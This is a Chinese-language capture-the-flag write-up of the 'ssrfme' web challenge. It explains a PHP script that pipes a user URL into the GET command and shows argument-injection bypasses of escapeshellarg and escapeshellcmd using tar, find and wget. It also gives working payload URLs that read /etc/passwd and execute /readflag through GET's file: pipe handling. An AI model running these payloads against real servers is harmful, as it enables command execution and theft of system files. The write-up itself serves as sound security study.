wp-2017ssrfme

进去查看源码

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   #$_SERVER是Php用来获取我们的IP的函数  将orange和我们Ip拼在一起并 加密后拼在 sandbox/后面了
    @mkdir($sandbox);   #创建 这个文件  
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));   #shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。  这里其实shell_exec 和system命令差不多    

escapeshellarg

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

为了 防止 使用;  执行多条linux 语句 所以有了这个函数 只能执行一条语句


    $info = pathinfo($_GET["filename"]); #pathinfo() 函数以数组的形式返回文件路径的信息
    $dir  = str_replace(".", "", basename($info["dirname"]));  #把. 过滤掉了
    @mkdir($dir);  再创建这个目录
    @chdir($dir);   
    @file_put_contents(basename($info["basename"]), $data);     file_put_contents() 函数把一个字符串写入文件中  可以 恶意代码写入
    highlight_file(__FILE__); 

虽然不能执行多条语句 但是绕过escapeshellarg 还是有办法 的

压缩 一个文件 

 $command = '-cf /tmp/sth /some_file'; system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

/tmp目录查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd内容
$file = "sth -or -exec cat /etc/passwd ; -quit"; system("find /tmp -iname ".escapeshellcmd($file));

在这个配置中,我们可以传递第二个参数给函数。
列出/tmp目录并忽略sth文件

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
保存PHP
$url = '--directory-prefix=/var/www/html http://example.com/example.php'; system(escapeshellcmd('wget '.$url));

其实就是利用这个函数漏洞构造Linux语句
引用资料 :https://www.anquanke.com/post/id/107336

方法 主要是 通过 file协议 进行写入
因为它前面有个GET拼进去了 不像资料找的 直接就 就能进行构造命令语句 GET命令 是用来下文件的
所以构造 ?url=file:bash -c ls /|&filename=ls /|
凸(艹皿艹 ) 构造md5有问题
这个Php 也不显示我的ip
反正 道理差不多

接下来尝试读取/etc/passwd文件,可以看到读取成功。

1
2
http://117.50.3.97:8004/?url=/etc/passwd&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111

图片.png
然后读取根目录,可以看到flag文件和readflag文件。

1
2
http://117.50.3.97:8004/?url=/&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111

读取一下flag,读取不到。不慌,先读取readflag文件,下载下来用notepad++打开。看到文件头是ELF,搜索一下这是一个二进制,可执行的文件。也就是需要执行它来读取flag文件。

看了下大佬的wp,emmmm涉及到知识盲区了。
说perl的open命令有可能会导致命令执行,当GET使用file协议的时候就会调用到perl的open函数。payload如下

1
2
http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
 
原文地址:https://www.cnblogs.com/Sabia/p/14055439.html